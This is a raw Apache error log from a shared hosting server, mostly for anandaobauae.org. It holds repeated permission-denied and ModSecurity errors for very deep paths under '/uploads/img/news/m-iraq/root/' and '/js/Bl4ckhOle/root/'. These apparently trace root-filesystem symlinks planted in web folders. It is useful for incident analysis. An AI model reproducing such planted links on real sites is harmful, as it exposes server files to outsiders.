[Fri Jul 17 10:25:22.711715 2026] [core:error] [pid 2076231:tid 2076231] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:07/subsystem/drivers_probe
[Fri Jul 17 10:25:22.912720 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:23.115233 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:23.330257 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:23.438568 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:23.650304 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:23.737159 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:23.846112 2026] [core:error] [pid 2075692:tid 2075692] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/input/mice/subsystem/input6/device/driver/uevent
[Fri Jul 17 10:25:23.946148 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:24.259636 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:24.352322 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:24.656897 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:24.764536 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:24.908389 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:25.075830 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:25.237782 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:25.593106 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:25.593185 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:25.593213 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:25.593697 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/cpanel-php84-net-url2/docs/"] [unique_id "alm1vfTLXGCuVk4hiAO-mgAAAAs"]
[Fri Jul 17 10:25:25.593724 2026] [security2:error] [pid 2075692:tid 2075692] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/cpanel-php84-net-url2/docs/"] [unique_id "alm1vfTLXGCuVk4hiAO-mgAAAAs"]
[Fri Jul 17 10:25:25.794918 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:25.996202 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:26.402143 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:26.908477 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:27.314900 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:27.417216 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:27.822207 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:28.038807 2026] [core:error] [pid 2075780:tid 2075780] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:15/subsystem/ttyS3/line
[Fri Jul 17 10:25:28.109426 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:28.450497 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:29.104284 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:29.416822 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:38/subsystem/tty8/uevent"] [unique_id "alm1wZT6UchYzP7t8WhMHAAAABI"]
[Fri Jul 17 10:25:29.416857 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:38/subsystem/tty8/uevent"] [unique_id "alm1wZT6UchYzP7t8WhMHAAAABI"]
[Fri Jul 17 10:25:30.299740 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:30.642698 2026] [core:error] [pid 2075692:tid 2075692] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/drivers/vesa-framebuffer/uevent
[Fri Jul 17 10:25:30.729781 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:31.095635 2026] [security2:error] [pid 2075901:tid 2075901] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm1w2FDQ6dUmh6WfoaEwwAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:25:31.095694 2026] [security2:error] [pid 2075901:tid 2075901] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm1w2FDQ6dUmh6WfoaEwwAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:25:31.256089 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:31.469418 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:31.670268 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:32.598211 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:33.317233 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:33.728593 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:33.781575 2026] [access_compat:error] [pid 2076231:tid 2076231] [client 20.151.7.119:0] AH01797: client denied by server configuration: /home/buddhika/public_html/emlproperties.lk/wp-content/uploads/astra-sites/
[Fri Jul 17 10:25:34.105890 2026] [ssl:error] [pid 2076257:tid 2076257] (70014)End of file found: [client 66.85.158.91:42046] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:34.147416 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:34.248322 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:34.665617 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:34.871876 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:35.618552 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:36.136270 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:42162] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:37.646142 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:37.861656 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:37.861735 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:39.405159 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:42.554024 2026] [ssl:error] [pid 2076193:tid 2076193] (70014)End of file found: [client 66.85.158.91:44790] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:43.041411 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:43.574931 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:43.716718 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:43.784800 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:43.818199 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:43.903845 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:43.932424 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:44.052888 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:44.160772 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:44.353598 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu1/node0/cpumap"] [unique_id "alm10JT6UchYzP7t8WhMKAAAABI"]
[Fri Jul 17 10:25:44.353648 2026] [security2:error] [pid 2076194:tid 2076194] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu1/node0/cpumap"] [unique_id "alm10JT6UchYzP7t8WhMKAAAABI"]
[Fri Jul 17 10:25:44.890367 2026] [core:error] [pid 2075901:tid 2075901] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/lib/cups/backend/serial
[Fri Jul 17 10:25:45.001400 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:44948] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:45.119109 2026] [security2:error] [pid 2075689:tid 2075689] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm10V6LQV5zcO01IS_B2AAAAAw"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:25:45.119137 2026] [security2:error] [pid 2075689:tid 2075689] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm10V6LQV5zcO01IS_B2AAAAAw"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:25:45.578008 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:45.605015 2026] [ssl:error] [pid 2075692:tid 2075692] (70014)End of file found: [client 66.85.158.91:45014] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:45.681362 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:45.690752 2026] [ssl:error] [pid 2075689:tid 2075689] (70014)End of file found: [client 66.85.158.91:45036] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:45.779592 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:46.084262 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:46.429889 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:46.440685 2026] [security2:error] [pid 2075780:tid 2075780] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm10h0C3r-GF3RTNAbTXAAAAAY"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:25:46.440718 2026] [security2:error] [pid 2075780:tid 2075780] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm10h0C3r-GF3RTNAbTXAAAAAY"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 10:25:46.897569 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:46.969008 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm10juaDdNRw9_WO14yVQAAAAg"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:25:46.969052 2026] [security2:error] [pid 2075904:tid 2075904] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm10juaDdNRw9_WO14yVQAAAAg"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:25:47.002630 2026] [security2:error] [pid 2075718:tid 2075718] [client 57.141.18.105:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory0/subsystem/devices/memory120/node0/memory11/subsystem/devices/memory0/"] [unique_id "alm10nHGgRvC9MVf3SzIRAAAAAI"]
[Fri Jul 17 10:25:47.002683 2026] [security2:error] [pid 2075718:tid 2075718] [client 57.141.18.105:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory0/subsystem/devices/memory120/node0/memory11/subsystem/devices/memory0/"] [unique_id "alm10nHGgRvC9MVf3SzIRAAAAAI"]
[Fri Jul 17 10:25:47.317292 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:47.402130 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:47.443636 2026] [security2:error] [pid 2075711:tid 2075711] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "emlproperties.lk"] [uri "/index.php"] [unique_id "alm10R3_6y13_d3Np4_5SgAAAAE"]
[Fri Jul 17 10:25:47.443681 2026] [security2:error] [pid 2075711:tid 2075711] [client 20.151.7.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "emlproperties.lk"] [uri "/index.php"] [unique_id "alm10R3_6y13_d3Np4_5SgAAAAE"]
[Fri Jul 17 10:25:47.627305 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:47.832413 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:47.832500 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:48.547859 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:48.952966 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:49.056106 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:49.577662 2026] [core:error] [pid 2076188:tid 2076188] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/module/acpi/uevent
[Fri Jul 17 10:25:49.987620 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:50.197362 2026] [core:error] [pid 2075705:tid 2075705] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:01/firmware_node/subsystem/drivers_probe
[Fri Jul 17 10:25:50.807690 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:50.909171 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:51.011195 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:51.215000 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:51.267161 2026] [ssl:error] [pid 2076194:tid 2076194] (70014)End of file found: [client 66.85.158.91:49520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:52.755175 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:53.256288 2026] [ssl:error] [pid 2075723:tid 2075723] (70014)End of file found: [client 66.85.158.91:49568] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:53.810753 2026] [security2:error] [pid 2075978:tid 2075978] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:3/subsystem/tty62/power/control"] [unique_id "alm12WFjrl6DCT-Pyn8UfAAAAAo"]
[Fri Jul 17 10:25:53.810793 2026] [security2:error] [pid 2075978:tid 2075978] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:3/subsystem/tty62/power/control"] [unique_id "alm12WFjrl6DCT-Pyn8UfAAAAAo"]
[Fri Jul 17 10:25:53.914436 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:54.222280 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:54.836174 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:55.038020 2026] [core:error] [pid 2075711:tid 2075711] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/container/PNP0A06:00/firmware_node/subsystem/uevent
[Fri Jul 17 10:25:55.549243 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:55.652216 2026] [core:error] [pid 2075705:tid 2075705] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/Acpi-Parse/validate
[Fri Jul 17 10:25:55.959449 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:56.163829 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:56.938478 2026] [security2:error] [pid 2075904:tid 2075904] [client 57.141.18.18:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory70/subsystem/devices/memory106/node0/memory78/node0/memory79/"] [unique_id "alm13DuaDdNRw9_WO14yYwAAAAg"]
[Fri Jul 17 10:25:56.938525 2026] [security2:error] [pid 2075904:tid 2075904] [client 57.141.18.18:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory70/subsystem/devices/memory106/node0/memory78/node0/memory79/"] [unique_id "alm13DuaDdNRw9_WO14yYwAAAAg"]
[Fri Jul 17 10:25:57.408741 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:57.735615 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:58.415782 2026] [ssl:error] [pid 2075780:tid 2075780] (70014)End of file found: [client 66.85.158.91:49870] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:25:59.140514 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:59.306871 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:25:59.453446 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty34/subsystem/tty18/dev"] [unique_id "alm133HGgRvC9MVf3SzIVAAAAAI"]
[Fri Jul 17 10:25:59.453479 2026] [security2:error] [pid 2075718:tid 2075718] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty34/subsystem/tty18/dev"] [unique_id "alm133HGgRvC9MVf3SzIVAAAAAI"]
